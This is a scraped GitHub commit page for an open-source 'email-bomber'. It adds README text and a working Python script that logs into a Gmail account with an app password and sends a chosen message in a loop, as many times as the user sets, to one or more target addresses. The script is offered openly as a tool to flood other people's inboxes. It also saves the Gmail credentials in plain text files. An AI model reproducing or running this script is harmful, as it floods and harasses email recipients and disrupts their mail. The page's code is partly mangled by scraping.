You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
- An open Source free to use email-bomber using python's built-in library SMTP.
7
4
8
-
#Modules Required 📗
9
-
- <ahref="https://docs.python.org/3/library/smtplib.html"> SMTP</a> is a library used for sending mails in python which stands for simple mail transfer protocol
-[SMTP](https://docs.python.org/3/library/smtplib.html), which stands for Simple Mail Transfer Protocol, is a built-in Python module used to send e-mails in Python.
71
+
72
+
73
+
-[OS](https://docs.python.org/3/library/os.html), which stands for Operating System, is a built-in Python module which provides a portable way of using operating system dependent functionality.
74
+
75
+
## 📇 License
76
+
```
77
+
MIT License
78
+
79
+
Copyright (c) 2022-Present, Atul Kushwaha.
80
+
81
+
Permission is hereby granted, free of charge, to any person obtaining a copy
82
+
of this software and associated documentation files (the "Software"), to deal
83
+
in the Software without restriction, including without limitation the rights
84
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
85
+
copies of the Software, and to permit persons to whom the Software is
86
+
furnished to do so, subject to the following conditions:
87
+
88
+
The above copyright notice and this permission notice shall be included in all
89
+
copies or substantial portions of the Software.
90
+
91
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
92
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
93
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
94
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
95
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
96
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
97
+
SOFTWARE.
98
+
```
99
+
100
+
## 🤵 Authors
101
+
-[@coderatul](https://github.com/coderatul)
102
+
103
+
## ❔ Questions/Feedback
104
+
If you have any questions or feedback, please reach out in [issues](https://github.com/coderatul/emailbomber/issues).
ifnotpath.exists("User_Credentials"): #If User_Credentials does not exist, asks for user credentials.
9
+
sender=input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") #The gmail address that emails will be sent from e.g. example@gmail.com.
10
+
app_password=input("Enter the app's password (xxxx xxxx xxxx xxxx)-> ") #The app's password that was created from the Gmail address e.g. alig maou tajh jagq.
11
+
else: #Otherwise, reads saved user credentials.
12
+
sender=open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
13
+
app_password=open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
14
+
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
15
+
receiver=input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
16
+
message=input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17
+
count=int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
server.login(user=sender, password=app_password) #Logins to user's account.
25
+
exceptsmtplib.SMTPAuthenticationErroraserror: #Incorrect credentials inputted by user.
26
+
print("\nError:\nMake sure the Gmail address that you inputted is the same as the gmail account you have created an app password for.\nDouble check your Gmail and app password.")
27
+
print(f"{error}")
28
+
input("Enter to exit...")
29
+
quit() #Quits program.
30
+
31
+
ifnotpath.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
32
+
#If there are no errors in credentials, save user information after SMTP verification.
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
35
+
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
36
+
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
37
+
38
+
print("\nEmail-bomber has started...\n")
39
+
40
+
foriinrange(count): #Amount of messages to be sent.
41
+
foremail_receiverinreceiver.split(","): #Loops through emails to send emails to.
42
+
server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
43
+
print(f"Email-bombing {email_receiver}...")
44
+
45
+
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
0 commit comments